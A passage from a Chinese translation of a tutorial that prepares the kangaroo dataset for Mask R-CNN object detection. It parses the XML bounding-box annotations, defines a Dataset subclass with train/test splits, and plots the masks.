Anh](https://www.linkedin.com/in/ngoca)。数据集包括了 183 张包含袋鼠的图像，以及一些 XML 注解文件，用来提供每张照片中袋鼠所处的边框信息。\n\n人们设计出的 Mask R-CNN 可以学习并同时预测出目标的边界以及检测目标的掩膜，然而袋鼠数据集并不提供掩膜信息。因此我们使用这个数据集来完成学习袋鼠目标检测的任务，同时忽略掉掩膜，我们不关心模型的图像分割能力。\n\n在准备训练模型的数据集之前，还需要几个步骤，这些步骤我们将会在这一章中逐个完成，包括下载数据集，解析注解文件，建立可用于 _Mask_RCNN_ 库的袋鼠数据集对象，然后还要测试数据集对象，以确保我们能够正确的加载图像和注解文件。\n\n### 安装数据集\n\n第一步是将数据集下载到当前的工作目录中。\n\n通过将 GitHub 仓库直接拷贝下来即可完成这一步，运行如下命令：\n\n```bash\ngit clone https://github.com/experiencor/kangaroo.git\n```\n\n此时会创建一个名为 “_kangaroo_” 的新目录，其包含一个名为 ‘_images/_’ 的子目录，子目录中包含了所有的袋鼠 JPEG 图像，以及一个名为 ‘_annotes/_’ 的子目录，其中的 XML 文件描述了每张照片中袋鼠的位置信息。\n\n```\nkangaroo\n├── annots\n└── images\n```\n\n让我们查看一下每个子目录，可以看到图像和注解文件都遵循了一致的命名约定，即五位零填充编号系统（5-digit zero-padded numbering system）；例如：\n\n```\nimages/00001.jpg\nimages/00002.jpg\nimages/00003.jpg\n...\nannots/00001.xml\nannots/00002.xml\nannots/00003.xml\n...\n```\n\n这种命名方式让图像和其注解文件能够非常容易的匹配在一起。\n\n我们也能看到，编号系统的数字并不连续，一些照片没有出现，例如，没有名为 ‘_00007_’ 的 JPG 或者 XML 文件。\n\n这意味着，我们应该直接加载目录下的实际文件列表，而不是利用编号系统加载文件。\n\n### 解析注解文件\n\n下一步是要搞清楚如何加载注解文件。\n\n首先，我们打开并查看第一个注解文件（_annots/00001.xml_）；你会看到：\n\n```xml\n<annotation>\n\t<folder>Kangaroo</folder>\n\t<filename>00001.jpg</filename>\n\t<path>...</path>\n\t<source>\n\t\t<database>Unknown</database>\n\t</source>\n\t<size>\n\t\t<width>450</width>\n\t\t<height>319</height>\n\t\t<depth>3</depth>\n\t</size>\n\t<segmented>0</segmented>\n\t<object>\n\t\t<name>kangaroo</name>\n\t\t<pose>Unspecified</pose>\n\t\t<truncated>0</truncated>\n\t\t<difficult>0</difficult>\n\t\t<bndbox>\n\t\t\t<xmin>233</xmin>\n\t\t\t<ymin>89</ymin>\n\t\t\t<xmax>386</xmax>\n\t\t\t<ymax>262</ymax>\n\t\t</bndbox>\n\t</object>\n\t<object>\n\t\t<name>kangaroo</name>\n\t\t<pose>Unspecified</pose>\n\t\t<truncated>0</truncated>\n\t\t<difficult>0</difficult>\n\t\t<bndbox>\n\t\t\t<xmin>134</xmin>\n\t\t\t<ymin>105</ymin>\n\t\t\t<xmax>341</xmax>\n\t\t\t<ymax>253</ymax>\n\t\t</bndbox>\n\t</object>\n</annotation>\n```\n\n我们可以看到，注解文件包含一个用于描述图像大小的“_size_”元素，以及一个或多个用于描述袋鼠对象在图像中位置的边框的“_object_”元素。\n\n大小和边框是每个注解文件中所需的最小信息。我们可以仔细一点、写一些 XML 解析代码来处理这些注解文件，这对于生产环境的系统是很有帮助的。而在开发过程中，我们将会缩减步骤，直接使用 XPath 从每个文件中提取出我们需要的数据，例如，_//size_ 请求可以从文件中提取出 size 元素，而 _//object_ 或者 _//bndbox_ 请求可以提取出 bounding box 元素。\n\nPython 为开发者提供了 [元素树 API](https://docs.python.org/3/library/xml.etree.elementtree.html)，可用于加载和解析 XML 文件，我们可以使用 [find()](https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.Element.find) 和 [findall()](https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.Element.findall) 函数对已加载的文件发起 XPath 请求。\n\n首先，注解文件必须要被加载并解析为 _ElementTree_ 对象。\n\n```python\n# load and parse the file\ntree  =  ElementTree.parse(filename)\n```\n\n加载成功后，我们可以取到文档的根元素，并可以对根元素发起 XPath 请求。\n\n```python\n# 获取文档根元素\nroot  =  tree.getroot()\n```\n\n我们可以使用带‘_.//bndbox_’参数的 findall() 函数来获取所有‘_bndbox_’元素，然后遍历每个元素来提取出用于定义每个边框的 _x_、_y,_、_min_ 和 _max_ 的值。\n\n元素内的文字也可以被解析为整数值。\n\n```python\n# 提取出每个 bounding box 元素\nfor  box in  root.findall('.//bndbox'):\n\txmin  =  int(box.find('xmin').text)\n\tymin  =  int(box.find('ymin').text)\n\txmax  =  int(box.find('xmax').text)\n\tymax  =  int(box.find('ymax').text)\n\tcoors  =  [xmin,  ymin,  xmax,  ymax]\n```\n接下来我们就可以将所有边框的定义值整理为一个列表。\n\n图像的尺寸也同样很有用，它可以通过直接请求取得。\n\n```python\n# 提取出图像尺寸\nwidth  =  int(root.find('.//size/width').text)\nheight  =  int(root.find('.//size/height').text)\n```\n\n我们可以将上面这些代码合成一个函数，它以注解文件作为入参，提取出边框和图像尺寸等细节信息，并将这些值返回给我们使用。\n\n如下的 _extract_boxes()_ 函数就是上述功能的实现。\n\n```python\n# 从注解文件中提取边框值的函数\ndef extract_boxes(filename):\n\t# 加载并解析文件\n\ttree = ElementTree.parse(filename)\n\t# 获取文档根元素\n\troot = tree.getroot()\n\t# 提取出每个 bounding box 元素\n\tboxes = list()\n\tfor box in root.findall('.//bndbox'):\n\t\txmin = int(box.find('xmin').text)\n\t\tymin = int(box.find('ymin').text)\n\t\txmax = int(box.find('xmax').text)\n\t\tymax = int(box.find('ymax').text)\n\t\tcoors = [xmin, ymin, xmax, ymax]\n\t\tboxes.append(coors)\n\t# 提取出图像尺寸\n\twidth = int(root.find('.//size/width').text)\n\theight = int(root.find('.//size/height').text)\n\treturn boxes, width, height\n```\n\n现在可以测试这个方法了，我们可以将目录中第一个注解文件作为函数参数进行测试。\n\n完整的示例如下。\n\n```python\n# 从注解文件中提取边框值的函数\ndef extract_boxes(filename):\n\t# 加载并解析文件\n\ttree = ElementTree.parse(filename)\n\t# 获取文档根元素\n\troot = tree.getroot()\n\t# 提取出每个 bounding box 元素\n\tboxes = list()\n\tfor box in root.findall('.//bndbox'):\n\t\txmin = int(box.find('xmin').text)\n\t\tymin = int(box.find('ymin').text)\n\t\txmax = int(box.find('xmax').text)\n\t\tymax = int(box.find('ymax').text)\n\t\tcoors = [xmin, ymin, xmax, ymax]\n\t\tboxes.append(coors)\n\t# 提取出图像尺寸\n\twidth = int(root.find('.//size/width').text)\n\theight = int(root.find('.//size/height').text)\n\treturn boxes, width, height\n```\n\n运行上述示例代码，函数将会返回一个包含了注解文件中每个边框元素信息，以及每张图像的宽度和高度的列表。\n\n```python\n[[233, 89, 386, 262], [134, 105, 341, 253]] 450 319\n```\n\n现在我们学会了如何加载注解文件，下面我们将学习如何使用这个功能，来创建一个数据集对象。\n\n### 创建袋鼠数据集对象\n\nmask-rcnn 需要 [mrcnn.utils.Dataset 对象](https://github.com/matterport/Mask_RCNN/blob/master/mrcnn/utils.py)来管理训练、校验以及测试数据集的过程。\n\n这就意味着，新建的类必须要继承 _mrcnn.utils.Dataset_ 类，并定义一个加载数据集的函数，这个函数可以任意命名，例如可以是 _load_dataset()_，它会重载用于加载掩膜的函数 _load_mask()_ 以及用于加载图像引用（路径或者 URL）的函数 _image_reference()_。\n\n```python\n# 用于定义和加载袋鼠数据集的类\nclass KangarooDataset(Dataset):\n\t# 加载数据集定义\n\tdef load_dataset(self, dataset_dir, is_train=True):\n\t\t# ...\n\n\t# 加载图像掩膜\n\tdef load_mask(self, image_id):\n\t\t# ...\n\n\t# 加载图像引用\n\tdef image_reference(self, image_id):\n\t\t# ...\n```\n\n为了能够使用类 _Dataset_ 的对象，它必须要先进行实例化，然后必须调用你的自定义加载函数，最后内建的 _prepare()_ 函数才会被调用。\n\n例如，我们将要创建一个名为 _KangarooDataset_ 的类，它将会以如下这样的方式使用：\n\n```python\n# 准备数据集\ntrain_set  =  KangarooDataset()\ntrain_set.load_dataset(...)\ntrain_set.prepare()\n```\n\n自定义的加载函数，即 _load_dataset()_，同时负责定义类以及定义数据集中的图像。\n\n通过调用内建的函数 _add_class()_ 可以定义类，通过函数的参数可以指定数据集名称‘_source_’，类的整型编号‘_class_id_’（例如，1 代指第一个类，不要使用 0，因为 0 已经保留用于背景类），以及‘_class_name_’（例如‘_kangaroo_’）。\n\n```python\n# 定义一个类\nself.add_class(\"dataset\",  1,  \"kangaroo\")\n```\n\n通过调用内建的 _add_image()_ 函数可以定义图像对象，通过函数的参数可以指定数据集名称‘_source_’，唯一的‘_image_id_’（例如，形如‘_00001_’这样没有扩展的文件名），以及图像加载的位置（例如‘_kangaroo/images/00001.jpg_’）。\n\n这样，我们就为图像定义了一个“_image info_”字典结构，于是图像就可以通过它加入数据集的索引或者序号被检索到。你也可以定义其他的参数，它们也同样会被加入到字典中去，例如用于定义注解文件的‘_annotation_’参数。\n\n```python\n# 添加到数据集\nself.add_image('dataset',  image_id='00001',  path='kangaroo/images/00001.jpg',  annotation='kangaroo/annots/00001.xml')\n```\n\n例如，我们可以运行 _load_dataset()_ 函数，并将数据集字典的地址作为参数传入，那么它将会加载所有数据集中的图像。\n\n注意，测试表明，编号‘_00090_’的图像存在一些问题，所以我们将它从数据集中移除。\n\n```python\n# 加载数据集定义\ndef load_dataset(self, dataset_dir):\n\t# 定义一个类\n\tself.add_class(\"dataset\", 1, \"kangaroo\")\n\t# 定义数据所在位置\n\timages_dir = dataset_dir + '/images/'\n\tannotations_dir = dataset_dir + '/annots/'\n\t# 定位到所有图像\n\tfor filename in listdir(images_dir):\n\t\t# 提取图像 id\n\t\timage_id = filename[:-4]\n\t\t# 略过不合格的图像\n\t\tif image_id in ['00090']:\n\t\t\tcontinue\n\t\timg_path = images_dir + filename\n\t\tann_path = annotations_dir + image_id + '.xml'\n\t\t# 添加到数据集\n\t\tself.add_image('dataset', image_id=image_id, path=img_path, annotation=ann_path)\n```\n\n我们可以更进一步，为函数增加一个参数，这个参数用于定义 _Dataset_ 的实例是用于训练、测试还是验证。我们有大约 160 张图像，所以我们可以使用其中的大约 20%，或者说最后的 32 张图像作为测试集或验证集，将开头的 131 张，或者说 80% 的图像作为训练集。\n\n可以使用文件名中的数字编号来完成图像的分类，图像编号在 150 之前的图像将会被用于训练，等于或者大于 150 的将用于测试。更新后的 _load_dataset()_ 函数可以支持训练和测试数据集，其代码如下：\n\n```python\n# 加载数据集定义\ndef load_dataset(self, dataset_dir, is_train=True):\n\t# 定义一个类\n\tself.add_class(\"dataset\", 1, \"kangaroo\")\n\t# 定义数据所在位置\n\timages_dir = dataset_dir + '/images/'\n\tannotations_dir = dataset_dir + '/annots/'\n\t# 定位到所有图像\n\tfor filename in listdir(images_dir):\n\t\t# 提取图像 id\n\t\timage_id = filename[:-4]\n\t\t# 略过不合格的图像\n\t\tif image_id in ['00090']:\n\t\t\tcontinue\n\t\t# 如果我们正在建立的是训练集，略过 150 序号之后的所有图像\n\t\tif is_train and int(image_id) >= 150:\n\t\t\tcontinue\n\t\t# 如果我们正在建立的是测试/验证集，略过 150 序号之前的所有图像\n\t\tif not is_train and int(image_id) < 150:\n\t\t\tcontinue\n\t\timg_path = images_dir + filename\n\t\tann_path = annotations_dir + image_id + '.xml'\n\t\t# 添加到数据集\n\t\tself.add_image('dataset', image_id=image_id, path=img_path, annotation=ann_path)\n```\n\n接下来，我们需要定义函数 _load_mask()_，用于为给定的‘_image_id_’加载掩膜。\n\n这时‘_image_id_’是数据集中图像的整数索引，该索引基于加载数据集时，图像通过调用函数 _add_image()_ 加入数据集的顺序。函数必须返回一个包含一个或者多个与 _image_id_ 关联的图像掩膜的数组，以及每个掩膜的类。\n\n我们目前还没有 mask，但是我们有边框，我们可以加载给定图像的边框然后将其作为 mask 返回。接下来库将会从“掩膜”推断出边框信息，因为它们的大小是相同的。\n\n我们必须首先加载注解文件，获取到 _image_id_。获取的步骤包括，首先获取包含 _image_id_ 的‘_image info_’字典，然后通过我们之前对 _add_image()_ 的调用获取图像的加载路径。接下来我们就可以在调用 _extract_boxes()_ 的时候使用该路径，这个函数是在前一章节中定义的，用于获取边框列表和图像尺寸。\n\n```python\n# 获取图像详细信息\ninfo = self.image_info[image_id]\n# 定义盒文件位置\npath = info['annotation']\n# 加载 XML\nboxes, w, h = self.extract_boxes(path)\n```\n\n现在我们可以为每个边框定义一个掩膜，以及一个相关联的类。\n\n掩膜是一个和图像维度一样的二维数组，数组中不属于对象的位置值为 0，反之则值为 1。\n\n通过为每个未知大小的图像创建一个全 0 的 NumPy 数组，并为每个边框创建一个通道，我们可以完成上述的目标：\n\n```python\n# 为所有掩膜创建一个数组，每个数组都位于不同的通道\nmasks  =  zeros([h,  w,  len(boxes)],  dtype='uint8')\n```\n\n每个边框都可以用图像框的 _min_、_max_、_x_ 和 _y_ 坐标定义。\n\n这些值可以直接用于定义数组中值为 1 的行和列的范围。\n\n```python\n# 创建掩膜\nfor i in range(len(boxes)):\n\tbox = boxes[i]\n\trow_s, row_e = box[1], box[3]\n\tcol_s, col_e = box[0], box[2]\n\tmasks[row_s:row_e, col_s:col_e, i] = 1\n```\n\n在这个数据集中，所有的对象都有相同的类。我们可以通过‘_class_names_’字典获取类的索引，然后将索引和掩膜一并添加到需要返回的列表中。\n\n```python\nself.class_names.index('kangaroo')\n```\n\n将这几步放在一起进行测试，最终完成的 _load_mask()_ 函数如下。\n\n```python\n# 加载图像掩膜\ndef load_mask(self, image_id):\n\t# 获取图像详细信息\n\tinfo = self.image_info[image_id]\n\t# 定义盒文件位置\n\tpath = info['annotation']\n\t# 加载 XML\n\tboxes, w, h = self.extract_boxes(path)\n\t# 为所有掩膜创建一个数组，每个数组都位于不同的通道\n\tmasks = zeros([h, w, len(boxes)], dtype='uint8')\n\t# 创建掩膜\n\tclass_ids = list()\n\tfor i in range(len(boxes)):\n\t\tbox = boxes[i]\n\t\trow_s, row_e = box[1], box[3]\n\t\tcol_s, col_e = box[0], box[2]\n\t\tmasks[row_s:row_e, col_s:col_e, i] = 1\n\t\tclass_ids.append(self.class_names.index('kangaroo'))\n\treturn masks, asarray(class_ids, dtype='int32')\n```\n\n最后，我们还必须实现 _image_reference()_ 函数，\n\n这个函数负责返回给定‘_image_id_’的路径或者 URL，也就是‘_image info_’字典的‘_path_’属性。\n\n```python\n# 加载图像引用\ndef image_reference(self, image_id):\n\tinfo = self.image_info[image_id]\n\treturn info['path']\n```\n\n好了，这样就完成了。我们已经为袋鼠数据集的 _mask-rcnn_ 库成功的定义了 _Dataset_ 对象。\n\n包含类与创建训练数据集和测试数据集的完整列表如下。\n\n```python\n# 将数据分为训练和测试集\nfrom os import listdir\nfrom xml.etree import ElementTree\nfrom numpy import zeros\nfrom numpy import asarray\nfrom mrcnn.utils import Dataset\n\n# 用于定义和加载袋鼠数据集的类\nclass KangarooDataset(Dataset):\n\t# 加载数据集定义\n\tdef load_dataset(self, dataset_dir, is_train=True):\n\t\t# 定义一个类\n\t\tself.add_class(\"dataset\", 1, \"kangaroo\")\n\t\t# 定义数据所在位置\n\t\timages_dir = dataset_dir + '/images/'\n\t\tannotations_dir = dataset_dir + '/annots/'\n\t\t# 定位到所有图像\n\t\tfor filename in listdir(images_dir):\n\t\t\t# 提取图像 id\n\t\t\timage_id = filename[:-4]\n\t\t\t# 略过不合格的图像\n\t\t\tif image_id in ['00090']:\n\t\t\t\tcontinue\n\t\t\t# 如果我们正在建立的是训练集，略过 150 序号之后的所有图像\n\t\t\tif is_train and int(image_id) >= 150:\n\t\t\t\tcontinue\n\t\t\t# 如果我们正在建立的是测试/验证集，略过 150 序号之前的所有图像\n\t\t\tif not is_train and int(image_id) < 150:\n\t\t\t\tcontinue\n\t\t\timg_path = images_dir + filename\n\t\t\tann_path = annotations_dir + image_id + '.xml'\n\t\t\t# 添加到数据集\n\t\t\tself.add_image('dataset', image_id=image_id, path=img_path, annotation=ann_path)\n\n\t# 从注解文件中提取边框值\n\tdef extract_boxes(self, filename):\n\t\t# 加载并解析文件\n\t\ttree = ElementTree.parse(filename)\n\t\t# 获取文档根元素\n\t\troot = tree.getroot()\n\t\t# 提取出每个 bounding box 元素\n\t\tboxes = list()\n\t\tfor box in root.findall('.//bndbox'):\n\t\t\txmin = int(box.find('xmin').text)\n\t\t\tymin = int(box.find('ymin').text)\n\t\t\txmax = int(box.find('xmax').text)\n\t\t\tymax = int(box.find('ymax').text)\n\t\t\tcoors = [xmin, ymin, xmax, ymax]\n\t\t\tboxes.append(coors)\n\t\t# 提取出图像尺寸\n\t\twidth = int(root.find('.//size/width').text)\n\t\theight = int(root.find('.//size/height').text)\n\t\treturn boxes, width, height\n\n\t# 加载图像掩膜\n\tdef load_mask(self, image_id):\n\t\t# 获取图像详细信息\n\t\tinfo = self.image_info[image_id]\n\t\t# 定义盒文件位置\n\t\tpath = info['annotation']\n\t\t# 加载 XML\n\t\tboxes, w, h = self.extract_boxes(path)\n\t\t# 为所有掩膜创建一个数组，每个数组都位于不同的通道\n\t\tmasks = zeros([h, w, len(boxes)], dtype='uint8')\n\t\t# 创建掩膜\n\t\tclass_ids = list()\n\t\tfor i in range(len(boxes)):\n\t\t\tbox = boxes[i]\n\t\t\trow_s, row_e = box[1], box[3]\n\t\t\tcol_s, col_e = box[0], box[2]\n\t\t\tmasks[row_s:row_e, col_s:col_e, i] = 1\n\t\t\tclass_ids.append(self.class_names.index('kangaroo'))\n\t\treturn masks, asarray(class_ids, dtype='int32')\n\n\t# 加载图像引用\n\tdef image_reference(self, image_id):\n\t\tinfo = self.image_info[image_id]\n\t\treturn info['path']\n\n# 训练集\ntrain_set = KangarooDataset()\ntrain_set.load_dataset('kangaroo', is_train=True)\ntrain_set.prepare()\nprint('Train: %d' % len(train_set.image_ids))\n\n# 测试/验证集\ntest_set = KangarooDataset()\ntest_set.load_dataset('kangaroo', is_train=False)\ntest_set.prepare()\nprint('Test: %d' % len(test_set.image_ids))\n```\n\n正确的运行示例代码将会加载并准备好训练和测试集，并打印出每个集合中图像的数量。\n\n```\nTrain: 131\nTest: 32\n```\n\n现在，我们已经定义好了数据集，我们还需要确认一下是否对图像、掩膜以及边框进行了正确的处理。\n\n### 测试袋鼠数据集对象\n\n第一个有用的测试是，确认图像和掩膜是否能够正确的加载。\n\n创建一个数据集，以 _image_id_ 为参数调用 _load_image()_ 函数加载图像，然后以同一个 _image_id_ 为参数调用 _load_mask()_ 函数加载掩膜，通过这样的步骤，我们可以完成测试。\n\n```python\n# 加载图像\nimage_id = 0\nimage = train_set.load_image(image_id)\nprint(image.shape)\n# 加载图像掩膜\nmask, class_ids = train_set.load_mask(image_id)\nprint(mask.shape)\n```\n\n接下来，我们可以使用 Matplotlib 提供的 API 绘制出图像，然后使用 alpha 值绘制出顶部的第一个掩膜，这样下面的图像依旧可以看到。\n\n```python\n# 绘制图像\npyplot.imshow(image)\n# 绘制掩膜\npyplot.imshow(mask[:, :, 0], cmap='gray', alpha=0.5)\npyplot.show()\n```\n\n完整的代码示例如下。\n\n```python\n# 绘制一幅图像及掩膜\nfrom os import listdir\nfrom xml.etree import ElementTree\nfrom numpy import zeros\nfrom numpy import asarray\nfrom mrcnn.utils import Dataset\nfrom matplotlib import pyplot\n\n# 定义并加载袋鼠数据集的类\nclass KangarooDataset(Dataset):\n\t# 加载数据集定义\n\tdef load_dataset(self, dataset_dir, is_train=True):\n\t\t# 定义一个类\n\t\tself.add_class(\"dataset\", 1, \"kangaroo\")\n\t\t# 定义数据所在位置\n\t\timages_dir = dataset_dir + '/images/'\n\t\tannotations_dir = dataset_dir + '/annots/'\n\t\t# 定位到所有图像\n\t\tfor filename in listdir(images_dir):\n\t\t\t# 提取图像 id\n\t\t\timage_id = filename[:-4]\n\t\t\t# 略过不合格的图像\n\t\t\tif image_id in ['00090']:\n\t\t\t\tcontinue\n\t\t\t# 如果我们正在建立的是训练集，略过 150 序号之后的所有图像\n\t\t\tif is_train and int(image_id) >= 150:\n\t\t\t\tcontinue\n\t\t\t# 如果我们正在建立的是测试/验证集，略过 150 序号之前的所有图像\n\t\t\tif not is_train and int(image_id) < 150:\n\t\t\t\tcontinue\n\t\t\timg_path = images_dir + filename\n\t\t\tann_path = annotations_dir + image_id + '.xml'\n\t\t\t# 添加到数据集\n\t\t\tself.add_image('dataset', image_id=image_id, path=img_path, annotation=ann_path)\n\n\t# 从注解文件中提取边框值\n\tdef extract_boxes(self, filename):\n\t\t# 加载并解析文件\n\t\ttree = ElementTree.parse(filename)\n\t\t# 获取文档根元素\n\t\troot = tree.getroot()\n\t\t# 提取出每个 bounding box 元素\n\t\tboxes = list()\n\t\tfor box in root.findall('.//bndbox'):\n\t\t\txmin = int(box.find('xmin').text)\n\t\t\tymin = int(box.find('ymin').text)\n\t\t\txmax = int(box.find('xmax').text)\n\t\t\tymax = int(box.find('ymax').text)\n\t\t\tcoors = [xmin, ymin, xmax, ymax]\n\t\t\tboxes.append(coors)\n\t\t# 提取出图像尺寸\n\t\twidth = int(root.find('.//size/width').text)\n\t\theight = int(root.find('.//size/height').text)\n\t\treturn boxes, width, height\n\n\t# 加载图像掩膜\n\tdef load_mask(self, image_id):\n\t\t# 获取图像详细信息\n\t\tinfo = self.image_info[image_id]\n\t\t# 定义盒文件位置\n\t\tpath = info['annotation']\n\t\t# 加载 XML\n\t\tboxes, w, h = self.extract_boxes(path)\n\t\t# 为所有掩膜创建一个数组，每个数组都位于不同的通道\n\t\tmasks = zeros([h, w, len(boxes)], dtype='uint8')\n\t\t# 创建掩膜\n\t\tclass_ids = list()\n\t\tfor i in range(len(boxes)):\n\t\t\tbox = boxes[i]\n\t\t\trow_s, row_e = box[1], box[3]\n\t\t\tcol_s, col_e = box[0], box[2]\n\t\t\tmasks[row_s:row_e, col_s:col_e, i] = 1\n\t\t\tclass_ids.append(self.class_names.index('kangaroo'))\n\t\treturn masks, asarray(class_ids, dtype='int32')\n\n\t# 加载图像引用\n\tdef image_reference(self, image_id):\n\t\tinfo = self.image_info[image_id]\n\t\treturn info['path']\n\n# 训练集\ntrain_set = KangarooDataset()\ntrain_set.load_dataset('kangaroo', is_train=True)\ntrain_set.prepare()\n# 加载图像\nimage_id = 0\nimage = train_set.load_image(image_id)\nprint(image.shape)\n# 加载图像掩膜\nmask, class_ids = train_set.load_mask(image_id)\nprint(mask.shape)\n# 绘制图像\npyplot.imshow(image)\n# 绘制掩膜\npyplot.imshow(mask[:, :, 0], cmap='gray', alpha=0.5)\npyplot.show()\n```\n\n运行示例代码，首先将会打印出图像尺寸以及掩膜的 NumPy 数组。\n\n我们可以确定这两个具有同样的长度和宽度，仅在通道的数量上不同。我们也可以看到在此场景下，第一张图像（也就是 _image_id = 0_ 的图像）仅有一个掩膜。\n\n```python\n(626, 899, 3)\n(626, 899, 1)\n```\n\n图像的绘制图会在第一个掩膜重叠的情况下一起被创建出来。\n\n这时，我们就可以看到图像中出现了一只带有掩膜覆盖其边界的袋鼠。\n\n![Photograph of Kangaroo With Object Detection Mask Overlaid](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/03/Photograph-of-Kangaroo-with-Object-Detection-Mask-Overlaid-1024x768.png)\n\n带有目标检测掩膜覆盖的袋鼠图像\n\n我们可以对数据集中的前 9 张图像做相同的操作，将每一张图像作为整体图的子图绘制出来，然后绘制出每一张图像的所有掩膜。\n\n```python\n# 绘制最开始的几张图像\nfor i in range(9):\n\t# 定义子图\n\tpyplot.subplot(330 + 1 + i)\n\t# 绘制原始像素数据\n\timage = train_set.load_image(i)\n\tpyplot.imshow(image)\n\t# 绘制所有掩膜\n\tmask, _ = train_set.load_mask(i)\n\tfor j in range(mask.shape[2]):\n\t\tpyplot.imshow(mask[:, :, j], cmap='gray', alpha=0.3)\n# 展示绘制结果\npyplot.show()\n```\n\n运行示例代码我们可以看到，图像被正确的加载了，同时这些包含多个目标的图像也被正确定义了各自的掩膜。\n\n![Plot of First Nine Photos of Kangaroos in the Training Dataset With Object Detection Masks](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/03/Plot-of-First-Nine-Photos-of-Kangaroos-in-the-Training-Dataset-with-Object-Detection-Masks-1024x768.png)\n\n绘制训练集中的前 9 幅带有目标检测掩膜的袋鼠图像\n\n另一个很有用的调试步骤是加载数据集中所有的‘_image info_’对象，并将它们在控制台输出。\n\n这可以帮助我们确认，所有在 _load_dataset()_ 函数中对 _add_image()_ 函数的调用都按照预期运作。\n\n```python\n# 枚举出数据集中所有的图像\nfor image_id in train_set.image_ids:\n\t# 加载图像信息\n\tinfo = train_set.image_info[image_id]\n\t# 在控制台展示\n\tprint(info)\n```\n\n在加载的训练集上运行此代码将会展示出所有的‘_image info_’字典，字典中包含数据集中每张图像的路径和 id。\n\n```python\n{'id': '00132', 'source': 'dataset', 'path': 'kangaroo/images/00132.jpg', 'annotation': 'kangaroo/annots/00132.xml'}\n{'id': '00046', 'source': 'dataset', 'path': 'kangaroo/images/00046.jpg', 'annotation': 'kangaroo/annots/00046.xml'}\n{'id': '00052', 'source': 'dataset', 'path': 'kangaroo/images/00052.jpg', 'annotation': 'kangaroo/annots/00052.xml'}\n...\n```\n\n最后，_mask-rcnn_ 库提供了显示图像和掩膜的工具。我们可以使用一些内建的方法来确认数据集运作正常。\n\n例如，_mask-rcnn_ 提供的 _mrcnn.visualize.display_instances()_ 函数，可以用于显示包含边框、掩膜以及类标签的图像。但是需要边框已经通过 _extract_bboxes()_ 方法从掩膜中提取出来。\n\n```python\n# 定义图像 id\nimage_id = 1\n# 加载图像\nimage = train_set.load_image(image_id)\n# 加载掩膜和类 id\nmask, class_ids = train_set.load_mask(image_id)\n# 从掩膜中提取边框\nbbox = extract_bboxes(mask)\n# 显示带有掩膜和边框的图像\ndisplay_instances(image, bbox, mask, class_ids, train_set.class_names)\n```\n\n为了让你对整个流程有完成的认识，所有代码都在下面列出。\n\n```python\n# 显示带有掩膜和边框的图像\nfrom os import listdir\nfrom xml.etree import ElementTree\nfrom numpy import zeros\nfrom numpy import asarray\nfrom mrcnn.utils import Dataset\nfrom mrcnn.visualize import display_instances\nfrom mrcnn.utils import extract_bboxes\n\n# 定义并加载袋鼠数据集的类\nclass KangarooDataset(Dataset):\n\t# 加载数据集定义\n\tdef load_dataset(self, dataset_dir, is_train=True):\n\t\t# 定义一个类\n\t\tself.add_class(\"dataset\", 1, \"kangaroo\")\n\t\t# 定义数据所在位置\n\t\timages_dir = dataset_dir + '/images/'\n\t\tannotations_dir = dataset_dir + '/annots/'\n\t\t# 定位到所有图像\n\t\tfor filename in listdir(images_dir):\n\t\t\t# 提取图像 id\n\t\t\timage_id = filename[:-4]\n\t\t\t# 略过不合格的图像\n\t\t\tif image_id in ['00090']:\n\t\t\t\tcontinue\n\t\t\t# 如果我们正在建立的是训练集，略过 150 序号之后的所有图像\n\t\t\tif is_train and int(image_id) >= 150:\n\t\t\t\tcontinue\n\t\t\t# 如果我们正在建立的是测试/验证集，略过 150 序号之前的所有图像\n\t\t\tif not is_train and int(image_id) < 150:\n\t\t\t\tcontinue\n\t\t\timg_path = images_dir + filename\n\t\t\tann_path = annotations_dir + image_id + '.xml'\n\t\t\t# 添加到数据集\n\t\t\tself.add_image('dataset', image_id=image_id, path=img_path, annotation=ann_path)\n\n\t# 从注解文件中提取边框值\n\tdef extract_boxes(self, filename):\n\t\t# 加载并解析文件\n\t\ttree = ElementTree.parse(filename)\n\t\t# 获取文档根元素\n\t\troot = tree.getroot()\n\t\t# 提取出每个 bounding box 元素\n\t\tboxes = list()\n\t\tfor box in root.findall('.//bndbox'):\n\t\t\txmin = int(box.find('xmin').text)\n\t\t\tymin = int(box.find('ymin').text)\n\t\t\txmax = int(box.find('xmax').text)\n\t\t\tymax = int(box.find('ymax').text)\n\t\t\tcoors = [xmin, ymin, xmax, ymax]\n\t\t\tboxes.append(coors)\n\t\t# 提取出图像尺寸\n\t\twidth = int(root.find('.//size/width').text)\n\t\theight = int(root.find('.//size/height').text)\n\t\treturn boxes, width, height\n\n\t# 加载图像掩膜\n\tdef load_mask(self, image_id):\n\t\t# 获取图像详细信息\n\t\tinfo = self.image_info[image_id]\n\t\t# 定义盒文件位置\n\t\tpath = info['annotation']\n\t\t# 加载 XML\n\t\tboxes, w, h = self.extract_boxes(path)\n\t\t# 为所有掩膜创建一个数组，每个数组都位于不同的通道\n\t\tmasks = zeros([h, w, len(boxes)], dtype='uint8')\n\t\t# 创建掩膜\n\t\tclass_ids = list()\n\t\tfor i in range(len(boxes)):\n\t\t\tbox = boxes[i]\n\t\t\trow_s, row_e = box[1], box[3]\n\t\t\tcol_s, col_e = box[0], box[2]\n\t\t\tmasks[row_s:row_e, col_s:col_e, i] = 1\n\t\t\tclass_ids.append(self.class_names.index('kangaroo'))\n\t\treturn masks, asarray(class_ids, dtype='int32')\n\n\t# 加载图像引用\n\tdef image_reference(self, image_id):\n\t\tinfo = self.image_info[image_id]\n\t\treturn info['path']\n\n# 训练集\ntrain_set = KangarooDataset()\ntrain_set.load_dataset('kangaroo', is_train=True)\ntrain_set.prepare()\n# 定义图像 id\nimage_id = 1\n# 加载图像\nimage = train_set.load_image(image_id)\n# 加载掩膜和类 id\nmask, class_ids = train_set.load_mask(image_id)\n# 从掩膜中提取边框\nbbox = extract_bboxes(mask)\n# 显示带有掩膜和边框的图像\ndisplay_instances(image, bbox, mask, class_ids, train_set.class_names)\n```\n\n运行这段示例代码，将会创建出用不同的颜色标记每个目标掩膜的图像。\n\n从程序设计开始，边框和掩膜就是可以相互精确匹配的，在图像中它们用虚线外边框标记出来。最后，每个对象也会被类标签标记，在这个例子中就是‘_kangaroo_’类。\n\n![Photograph Showing 